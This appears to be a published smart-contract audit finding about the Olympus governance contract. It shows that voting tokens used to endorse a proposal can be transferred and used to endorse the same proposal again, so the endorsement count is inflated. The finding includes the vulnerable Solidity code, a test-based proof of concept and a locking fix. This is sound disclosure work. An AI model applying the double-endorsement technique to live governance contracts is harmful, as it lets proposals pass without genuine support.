After endorsing a proposal, user can transfer votes to another user for endorsing the same proposal again
The governance contract allows a user to endorse a proposal with their voting tokens and then transfer those tokens to another user, who can endorse the same proposal again. This double-counting of the same tokens can push the total endorsements above the threshold, enabling a proposal to be activated when it should not be.
Submitted by rbserver, also found by 0x1f8b, Bahurum, csanuragjain, and yixxas
https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/VOTES.sol#L9-L11 https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Governance.sol#L180-L201 https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Governance.sol#L205-L236
The following comment indicates that the OlympusVotes contract is a stub for gOHM. Checking the gOHM contract at https://etherscan.io/token/0x0ab87046fBb341D058F17CBC4c1133F25a20a52f#code, the transfer and transferFrom functions are available.
https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/VOTES.sol#L9-L11
/// @notice Votes module is the ERC20 token that represents voting power in the network.
/// @dev This is currently a substitute module that stubs gOHM.
contract OlympusVotes is Module, ERC20 {
Moreover, the documentation states that the vote redemption mechanism “exists to deter malicious behavior by ensuring users cannot transfer their voting tokens until after the proposal has been resolved”, which also indicates that the voting tokens are meant to be transferrable between users.
When the voting tokens are transferrable, one user can first use her or his votes to call the following endorseProposal function to endorse a proposal and then transfer these votes to another user. The other user can use these votes to endorse the same proposal again afterwards. Because of the double-endorsement, the (totalEndorsementsForProposal[proposalId_] * 100) < VOTES.totalSupply() * ENDORSEMENT_THRESHOLD condition can become true so the proposal can be activated by calling the activateProposal function below. However, the proposal should only be endorsed with these same votes once and should not be able to be activated if it could not satisify (totalEndorsementsForProposal[proposalId_] * 100) < VOTES.totalSupply() * ENDORSEMENT_THRESHOLD with these votes being used once.
https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Governance.sol#L180-L201
function endorseProposal(uint256 proposalId_) external {
uint256 userVotes = VOTES.balanceOf(msg.sender);
if (proposalId_ == 0) {
revert CannotEndorseNullProposal();
}
Instruction[] memory instructions = INSTR.getInstructions(proposalId_);
if (instructions.length == 0) {
revert CannotEndorseInvalidProposal();
}
// undo any previous endorsement the user made on these instructions
uint256 previousEndorsement = userEndorsementsForProposal[proposalId_][msg.sender];
totalEndorsementsForProposal[proposalId_] -= previousEndorsement;
// reapply user endorsements with most up-to-date votes
userEndorsementsForProposal[proposalId_][msg.sender] = userVotes;
totalEndorsementsForProposal[proposalId_] += userVotes;
emit ProposalEndorsed(proposalId_, msg.sender, userVotes);
}
https://github.com/code-423n4/2022-08-olympus/blob/main/src/policies/Governance.sol#L205-L236
function activateProposal(uint256 proposalId_) external {
ProposalMetadata memory proposal = getProposalMetadata[proposalId_];
if (msg.sender != proposal.submitter) {
revert NotAuthorizedToActivateProposal();
}
if (block.timestamp > proposal.submissionTimestamp + ACTIVATION_DEADLINE) {
revert SubmittedProposalHasExpired();
}
if (
(totalEndorsementsForProposal[proposalId_] * 100) <
VOTES.totalSupply() * ENDORSEMENT_THRESHOLD
) {
revert NotEnoughEndorsementsToActivateProposal();
}
if (proposalHasBeenActivated[proposalId_] == true) {
revert ProposalAlreadyActivated();
}
if (block.timestamp < activeProposal.activationTimestamp + GRACE_PERIOD) {
revert ActiveProposalNotExpired();
}
activeProposal = ActivatedProposal(proposalId_, block.timestamp);
proposalHasBeenActivated[proposalId_] = true;
emit ProposalActivated(proposalId_, block.timestamp);
}
Proof of Concept
Please append the following test in src\test\policies\Governance.t.sol. This test will pass to demonstrate the described scenario.
function testScenario_UserEndorsesAfterReceivingTransferredVotes() public {
_submitProposal();
vm.prank(voter2);
governance.endorseProposal(1);
// to simulate calling gOHM's transfer function by voter2 for sending votes to voter0, VOTES.transferFrom is called by governance here
vm.prank(address(governance));
VOTES.transferFrom(voter2, voter0, 200);
// voter0 uses the votes previously owned by voter2 to endorse the proposal
vm.prank(voter0);
governance.endorseProposal(1);
// the proposal is endorsed with 400 votes but only the 200 votes originally owned by voter2 are used
assertEq(governance.userEndorsementsForProposal(1, voter0), 200);
assertEq(governance.userEndorsementsForProposal(1, voter2), 200);
assertEq(governance.totalEndorsementsForProposal(1), 400);
// At this moment, the proposal can be activated successfully.
// However, if it is endorsed with only 200 votes, it cannot satisfy ENDORSEMENT_THRESHOLD and cannot be activated.
vm.expectEmit(true, true, true, true);
emit ProposalActivated(1, block.timestamp);
vm.prank(voter1);
governance.activateProposal(1);
}
Tools Used
VSCode
Recommended Mitigation Steps
When calling endorseProposal, the user’s votes can be locked by transferring these votes to the governance so the user cannot transfer these anymore to another user after the endorsement. An additional function can be added for reclaiming the endorsed votes back to the user and reducing the proposal’s endorsed votes accordingly before the proposal is activated. After the proposal is activated, the endorsed votes should be counted as the voted votes.
fullyallocated (Olympus) acknowledged and commented:
Taken from another issue:
This is true, and I appreciate the throughness of the explanation—it’s hard to adjust endorsements based on the user’s balance because there’s no events/callbacks in solidity. We plan to use a staking vault where tokens are transfer locked and there’s a warmup period + cooldown period to mitigate this issue.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The endorsement mechanism does not lock or track the voting tokens after they are used to endorse, allowing the same tokens to be reused by a different account.
Impact
A proposal could be activated without meeting the genuine endorsement threshold, potentially allowing malicious proposals to pass.
What the attacker needed
Voting tokens are transferable; attacker controls two accounts; proposal is open for endorsement
The fix
The recommended mitigation is to lock the user's votes by transferring them to the governance contract upon endorsement, with a function to reclaim them and reduce the proposal's endorsements before activation.
How it was found
- Submit a proposal.
- Voter2 endorses the proposal with their votes.
- Voter2 transfers their votes to voter0.
- Voter0 endorses the same proposal with the transferred votes.
- The total endorsements are now double-counted, allowing the proposal to be activated.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, users endorse proposals with voting tokens to show support. The bug is that after endorsing, a user can send their tokens to someone else, who can then endorse the same proposal again with those same tokens. This makes it look like more people support the proposal than actually do, which could let it pass when it shouldn't.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.